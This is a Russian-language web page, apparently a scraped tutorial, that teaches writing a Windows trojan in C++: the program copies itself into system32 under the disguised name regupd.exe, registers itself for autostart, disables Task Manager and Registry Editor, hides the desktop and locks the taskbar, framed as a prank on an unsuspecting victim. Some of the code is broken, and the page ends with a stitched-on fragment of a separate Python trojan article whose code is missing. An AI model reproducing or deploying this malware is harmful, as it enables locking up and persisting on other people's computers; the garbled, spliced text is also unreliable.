Пишем троян для windows

Пишем простой троян

Всем привет. Сейчас я тебе расскажу, как написать троянскую программу. Хотя троян считается вредоносной программой, и в этом материале я покажу пример явно нешуточной программки (даже если и шуточной, то шутка будет очень злой), на основе этого материала и твоей фантазии можно сделать почти безобидную программу-шутку.

Перед тем как начать, хочу сказать, что я не несу никакой ответственности за то как и в каких целях, ты будешь использовать данный материал. Однако хочу обратить твое внимание на то, что уголовный кодекс запрещает написание и использование подобного программного обеспечения.

Итак, сегодня мы узнаем, как добавить нашу программу в автозапуск, как запретить вызов диспетчера задач и редактора реестра, как заблокировать панель задач и как скрыть рабочий стол. Естественно, все это мы будем делать программно. А так же, помимо всего вышеперечисленного, ты узнаешь (или вспомнишь те, что уже знал) немного нового и полезного материала, который сможет пригодиться тебе в будущем.

Наша программа будет создавать в папке с ОС .exe файл. Для маскировки наш файл будет называться regupd.exe. Этот файл будет помещаться в автозапуск. Это значит, что при загрузке операционной системы будет запускаться наш файл. Созданный нами файл будет блокировать панель задач, скрывать рабочий стол (на нем не будет ни одного ярлыка), а так же запрещать запуск стандартного редактора реестра и диспетчер задач. Естественно, что у понимающего человека это не вызовет паники, но все же он не сразу поймет в чем дело и как решать проблему. А вот какую-нибудь подружку-блондинку это заставит понервничать и обратиться за помощью (Прим. редактора: возможно, даже и к тебе. А ты уже сам решай, как распорядиться такой ситуацией ).

Еще одним большим минусом нашей программы является то, что любой нормальный антивирус ее обнаружит и заблокирует ей доступ к системе. Но если говорить про все ту же подружку, то она вряд ли знает что такое антивирус и что с ним делать.

В общем, программа неидеальна, и вряд ли стоит писать этот материал, но кому-то он может здорово пригодиться. Далее я предлагаю тебе код программы с подробным описанием.

Перед тем, как набирать код, нам необходимо настроить приложение. Я буду использовать компилятор Microsoft Visual Studio 2010. Если у тебя такой же компилятор (или более ранние версии), то для подготовки проекта проделай следующие шаги:
Шаг 1: File (Файл) – New (Новый) – Project (Проект) (Ctrl+Shift+N)
Шаг 2: В Installed Templates (Установленные шаблоны) выбираем Visual C++ — Win32 – Win32 Project. Даем нашему проекту имя, например Trojan. И нажимаем OK.
Шаг 3: В Application Wizard (Мастер приложения) заходим в пункт меню Application Settings (Настройки приложения) и отмечаем пункты Windows Application (Приложение Windows) для свойства Application type (Тип приложения), и Precompiled header (Прекомпилированный заголовок) для свойства Additional options (Дополнительные настройки). Далее жмем кнопку Finish (Готово).
Шаг 4: Жмем Alt+F7. Далее настраиваем все как на рисунке:

и жмем «Применить»
Шаг 5: Из редактора кода удаляем все, кроме подключенных заголовков и функции main(). В функции main() удаляем все, кроме открывающей и закрывающей скобок, а перед закрывающей скобкой пишем строку “return 0;”.
У тебя должно получиться что-то типа этого:
#include «stdafx.h»
#include «Trojan.h»

int APIENTRY _tWinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
<

return 0;
>
Все! Теперь у нас все готово к написанию кода!

Читайте также:  Https proxy для windows

Сначала надо подключить заголовочный файл windows.h. В нем содержаться описания всех API – функций, все общие макросы и все типы данных, используемые различными функциями и подсистемами. Так же в файле windows.h подключается файл windef.h, в котором определена константа MAX_PATH (ей мы будем пользоваться далее). Значение этой константы зависит от ОС и ФС (файловой системы). Для WinXP с файловой системой NTFS это значение равно 260. Кроме windows.h нам больше ничего не понадобится подключать, поэтому переходим к функции main(). В принципе, наша программа будет состоять только из функции main(), поэтому кидать сразу весь код бесполезно. Я объясню весь код по частям, а в конце раздела кину весь код, который должен у нас получиться.

Добавь в свой код между открывающей фигурной скобкой ( < ) и оператором return следующий код:
char system[MAX_PATH];
char pathtofile[MAX_PATH];

GetModuleFileName(HModule, pathtofile, sizeof(pathtofile));
GetSystemDirectory(system, sizeof(system));

CopyFile(pathtofile, system, false);
Теперь надо разобраться со всем, что тут происходит.

Вначале объявляются две буферные переменные, в первой будет храниться путь к папке с системой (system32), а во второй — путь к нашему «вирусу». Про константу MAX_PATH я уже написал выше. Далее мы объявляем тип HMODULE, пока что просто расскажу, что этот тип можно рассматривать как дескриптор файла, хранящегося на диске. HMODULE описывает содержимое файла и его структуру. Подробнее о HMODULE Вы можете прочитать тут: ]]> http://www.transl-gunsmoker.ru/2009/04/hinstance-hmodule.html ]]>

Функция GetModuleHandle с параметром NULL возвращает дескриптор файла, используемого для создания вызывающего процесса. Функция GetModuleFileName записывает в переменную pathtofile путь к файлу с дескриптором HModule. Теперь у нас в переменной pathtofile хранится путь к нашему файлу. Нам осталось перекинуть этот файл в папку system32.
Я думаю, что смысл следующей функции понятен из названия: она копирует путь к папке system32 в переменную system. Функцией strcat мы добавляем к переменной system (в которой хранится путь к папке system32) строку «\\regupd.exe», именно так будет называться наша программка в папке с системой. Это сделано на случай, если вдруг жертва зайдет в эту папку, она не смогла сразу обнаружить наш «вирус». Согласись, файл regupd вызывает меньше подозрений, чем файл MyVirus.

Ну, и в конце этого куска кода мы копируем файл (с помощью функции CopyFile), который расположен по пути из переменной pathtofile, в место, указанное в переменной system. Параметр false значит, что если такой файл существует, то он будет заменен.

Скомпилируй эту программу и зайди в папку system32. Там ты можешь увидеть наш вновь созданный файл. Теперь нам осталось внедрить наш файл в автозагрузку и сделать какую-нибудь пакость. Первая проблема решается следующим образом:
HKEY hKey;

RegOpenKeyEx(HKEY_LOCAL_MACHINE, «Software\\Microsoft\\Windows\\CurrentVersion\\Run», 0, KEY_SET_VALUE, &hKey);
RegSetValueEx(hKey, «Registry Update»,0,REG_SZ,(const unsigned char*)system,sizeof(system));
RegCloseKey(hKey);
В первой строке кода объявляется переменная типа HKEY. Этот тип является дескриптором ключа реестра. В файле windef.h этот тип определен как
typedef HANDLE HKEY

Далее, с помощью функции RegOpenKeyEx мы открываем нужный нам ключ реестра. Первый параметр идентифицирует дескриптор ключа реестра, в нашем случае это — HKEY_LOCAL_MACHINE. В этом разделе реестра содержаться настройки, относящиеся к данному компьютеру (для всех пользователей). Второй параметр представляет собой адрес имени открываемого подключа. По адресу, указанному в качестве второго параметра нашей функции, хранятся пути к программам, запускаемых при запуске системы. Третий параметр функции является зарезервированным и должен быть равен нулю. Следующий параметр определяет тип доступа для нашего ключа. Используемое нами значение применяется для права устанавливать значения подключей. Ну, и последний параметр — адрес переменной, в которую возвращается дескриптор открытого ключа.

Читайте также:  Windows live как добавить контакт

Функция RegSetValueEx сохраняет данные в поле значения открытого ключа реестра. Первый параметр идентифицирует открытый в текущий момент ключ. Второй параметр является адресом имени устанавливаемого значения, если значения с таким именем не существует, функция создаст его. Третий параметр зарезервирован и должен быть нулем. За ним следует тип значения добавляемой переменной. REG_SZ значит, что ключ должен содержать строковое значение. Предпоследний и последний параметры представляют собой адрес строки, содержащей значение и ее размер.

Функция RegCloseKey() закрывает дескриптор ключа.

Вот, собственно, и все, с первой поставленной задачей мы разобрались: у нас получилось внедрить наш файл в автозагрузку. Осталось придумать какую–нибудь шутку.
То, что придумал я, ты уже знаешь. Сейчас я просто покажу, как это реализовать. Для начала немного справочного материала:
Для запрета запуска Диспетчера задач, выполним следующие действия:

1. Перейдем в раздел реестра HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System.
2. Создадим в нем новый параметр DisableTaskMgr (типа DWORD) и присвоим ему значение 1.
3. Выйдем из Редактора реестра.

Запрет диспетчера задач нам надо для того, чтобы наш процесс не смогли убить с помощью диспетчера задач. Хотя его можно убить с помощью tasklist – taskkill, не все знают об этом способе.

А далее мы заблокируем реестр, что бы нельзя было изменить значение параметра DisableTaskMgr на 0.
1. Перейдем в раздел реестра HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System.
2. Создадим в нем новый параметр DisableRegistryTools (типа DWORD) и присвоим ему значение 1.
3. Выйдем из Редактора реестра.
Вот и все и реестр и диспетчер задач заблокированы. Теперь наше приложение будет не так то просто убить.

Вот код, реализующий все вышесказанное и еще кое-что:
DWORD value=1;

RegOpenKeyEx(HKEY_CURRENT_USER, «Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System», 0, KEY_ALL_ACCESS, &hKey);
RegSetValueEx(hKey, «DisableTaskMgr», NULL, REG_DWORD, (BYTE*)&value, sizeof(DWORD));
RegCloseKey(hKey);

RegOpenKeyEx(HKEY_CURRENT_USER, «Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System», 0, KEY_ALL_ACCESS, &hKey);
RegSetValueEx(hKey, «DisableRegistryTools», NULL, REG_DWORD, (BYTE*)&value, sizeof(DWORD));
RegCloseKey(hKey);

RegOpenKeyEx(HKEY_CURRENT_USER, «Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer», 0, KEY_ALL_ACCESS, &hKey);
RegSetValueEx(hKey, «NoDesktop», NULL, REG_DWORD, (BYTE*)&value, sizeof(DWORD));
RegCloseKey(hKey);

hTaskBar = FindWindow(«Shell_TrayWnd»,NULL);
EnableWindow(hTaskBar,!value);
Тут все понятно, кроме последних 6ти строк. Первые три из этих шести убирают рабочий стол.

Что бы скрыть рабочий стол:
1. Перейдем в раздел реестра HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer.
2. Создадим в нем новый параметр NoDesktop(типа DWORD) и присвоим ему значение 1.
3. Выйдем из Редактора реестра.

А далее мы находим дескриптор панели задач и делаем ее (панель задач недоступной).
Вот так выглядит весь код:
#include «stdafx.h»
#include «vir.h»

int APIENTRY _tWinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
<
char system[MAX_PATH];
char pathtofile[MAX_PATH];

GetModuleFileName(GetHModule, pathtofile, sizeof(pathtofile));
GetSystemDirectory(system, sizeof(system));

CopyFile(pathtofile, system, false);

RegOpenKeyEx(HKEY_LOCAL_MACHINE, «Software\\Microsoft\\Windows\\CurrentVersion\\Run», 0, KEY_SET_VALUE, &hKey);
RegSetValueEx(hKey, » Registry Update»,0,REG_SZ,(const unsigned char*)system,sizeof(system));

RegOpenKeyEx(HKEY_CURRENT_USER, «Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System», 0, KEY_ALL_ACCESS, &hKey);
RegSetValueEx(hKey, «DisableTaskMgr», NULL, REG_DWORD, (BYTE*)&value, sizeof(DWORD));
RegCloseKey(hKey);

RegOpenKeyEx(HKEY_CURRENT_USER, «Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System», 0, KEY_ALL_ACCESS, &hKey);
RegSetValueEx(hKey, «DisableRegistryTools», NULL, REG_DWORD, (BYTE*)&value, sizeof(DWORD));
RegCloseKey(hKey);

RegOpenKeyEx(HKEY_CURRENT_USER, «Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer», 0, KEY_ALL_ACCESS, &hKey);
RegSetValueEx(hKey, «NoDesktop», NULL, REG_DWORD, (BYTE*)&value, sizeof(DWORD));
RegCloseKey(hKey);

hTaskBar = FindWindow(«Shell_TrayWnd»,NULL);
EnableWindow(hTaskBar,!value);

Вот такая вот моя шутка. Если вдруг кто-нибудь захочет ее протестировать, то перед этим установи сторонний редактор реестра, чтобы изменить в нем все вышеупомянутые значения на 0. Так же ты знаешь, где лежит наш вредоносный файл. Чтобы восстановить панель задач, в диспетчере задач убей процесс explorer.exe и запустите его снова.

Вообще, трояны — самый простой вид вредоносных программ, сложность которых зависит исключительно от сложности истинной задачи и средств маскировки. В качестве средства маскировки мы назвали его RegUpd и в реестре создали параметр Registry Update, что бы наша программа вызывала меньше подозрений. А вот, что касается истинной задачи, то тут все перекладывается на твою фантазию, что придумаешь, то и будет делать троян.

Читайте также:  Previous versions windows server

Кстати, пиши свои идеи и их реализации в комментариях. Если не получилось реализовать – пиши просто идеи, попробуем реализовать вместе. Если комментариев будет много, создадим тему на форуме с идеями для шуток и их реализацией.

Все, на этом наш урок закончен. Надеюсь, что кому-то пригодился этот материал. И хотя ты можешь использовать его в каких угодно целях, лучше использовать его для безобидных шуток.

Крадущийся питон. Создаем простейший троян на Python

Содержание статьи

Ко­неч­но, при­веден­ные в статье скрип­ты никак не годят­ся для исполь­зования в боевых усло­виях: обфуска­ции в них нет, прин­ципы работы прос­ты как пал­ка, а вре­донос­ные фун­кции отсутс­тву­ют нап­рочь. Тем не менее при некото­рой сме­кал­ке их воз­можно исполь­зовать для нес­ложных пакос­тей — нап­ример, вырубить чей‑нибудь компь­ютер в клас­се (или в офи­се, если в клас­се ты не наиг­рался).

Теория

Итак, что вооб­ще такое тро­ян? Вирус — это прог­рамма, глав­ная задача которой — самоко­пиро­вание. Червь активно рас­простра­няет­ся по сети (типич­ный при­мер — «Петя» и WannaCry), а тро­ян — скры­тая вре­донос­ная прог­рамма, которая мас­киру­ется под «хороший» софт.

Ло­гика подоб­ного зараже­ния в том, что поль­зователь сам ска­чает себе вре­донос на компь­ютер (нап­ример, под видом кряк­нутой прог­раммы), сам отклю­чит защит­ные механиз­мы (ведь прог­рамма выг­лядит хорошей) и захочет оста­вить надол­го. Хакеры и тут не дрем­лют, так что в новос­тях то и дело мель­кают сооб­щения о новых жер­твах пират­ско­го ПО и о шиф­роваль­щиках, поража­ющих любите­лей халявы. Но мы‑то зна­ем, что бес­плат­ный сыр быва­ет толь­ко в мусор­ке, и сегод­ня научим­ся очень прос­то начинять тот самый сыр чем‑то не впол­не ожи­даемым.

warning

Вся информа­ция пре­дос­тавле­на исклю­читель­но в озна­коми­тель­ных целях. Ни автор, ни редак­ция не несут ответс­твен­ности за любой воз­можный вред, при­чинен­ный матери­ала­ми дан­ной статьи. Несан­кци­они­рован­ный дос­туп к информа­ции и наруше­ние работы сис­тем могут прес­ледовать­ся по закону. Пом­ни об этом.

Определяем IP

Сна­чала нам (то есть нашему тро­яну) нуж­но опре­делить­ся, где он ока­зал­ся. Важ­ная часть тво­ей информа­ции — IP-адрес, по которо­му с заражен­ной машиной мож­но будет соеди­нить­ся в даль­нейшем.

Нач­нем писать код. Сра­зу импорти­руем биб­лиоте­ки:

Обе биб­лиоте­ки не пос­тавля­ются с Python, поэто­му, если они у тебя отсутс­тву­ют, их нуж­но уста­новить коман­дой pip .

Ес­ли ты видишь ошиб­ку, что у тебя отсутс­тву­ет pip, сна­чала нуж­но уста­новить его с сай­та pypi.org. Любопыт­но, что рекомен­дуемый спо­соб уста­нов­ки pip — через pip, что, конеч­но, очень полез­но, ког­да его нет.

Код получе­ния внеш­него и внут­ренне­го адре­сов будет таким. Обра­ти вни­мание, что, если у жер­твы нес­коль­ко сетевых интерфей­сов (нап­ример, Wi-Fi и Ethernet одновре­мен­но), этот код может вес­ти себя неп­равиль­но.

Ес­ли с локаль­ным адре­сом все более‑менее прос­то — находим имя устрой­ства в сети и смот­рим IP по име­ни устрой­ства, — то вот с пуб­личным IP все нем­ного слож­нее.

Я выб­рал сайт api. ipify. org , так как на выходе нам выда­ется толь­ко одна стро­ка — наш внеш­ний IP. Из связ­ки пуб­личный + локаль­ный IP мы получим поч­ти точ­ный адрес устрой­ства.

Вы­вес­ти информа­цию еще про­ще:

Ни­ког­да не встре­чал конс­трук­ции типа print( f’<> ‘) ? Бук­ва f озна­чает фор­матиро­ван­ные стро­ковые литера­лы. Прос­тыми сло­вами — прог­рам­мные встав­ки пря­мо в стро­ку.

Стро­ковые литера­лы не толь­ко хорошо смот­рятся в коде, но и помога­ют избе­гать оши­бок типа сло­жения строк и чисел (Python — это тебе на JavaScript!).

Оцените статью